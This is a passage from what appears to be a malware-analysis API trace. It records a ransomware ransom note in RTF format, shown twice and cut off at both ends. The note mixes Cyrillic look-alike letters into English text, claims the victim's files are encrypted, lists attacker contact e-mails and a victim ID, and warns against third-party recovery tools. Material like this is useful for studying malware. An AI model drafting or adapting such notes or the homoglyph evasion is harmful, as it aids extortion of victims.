pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third 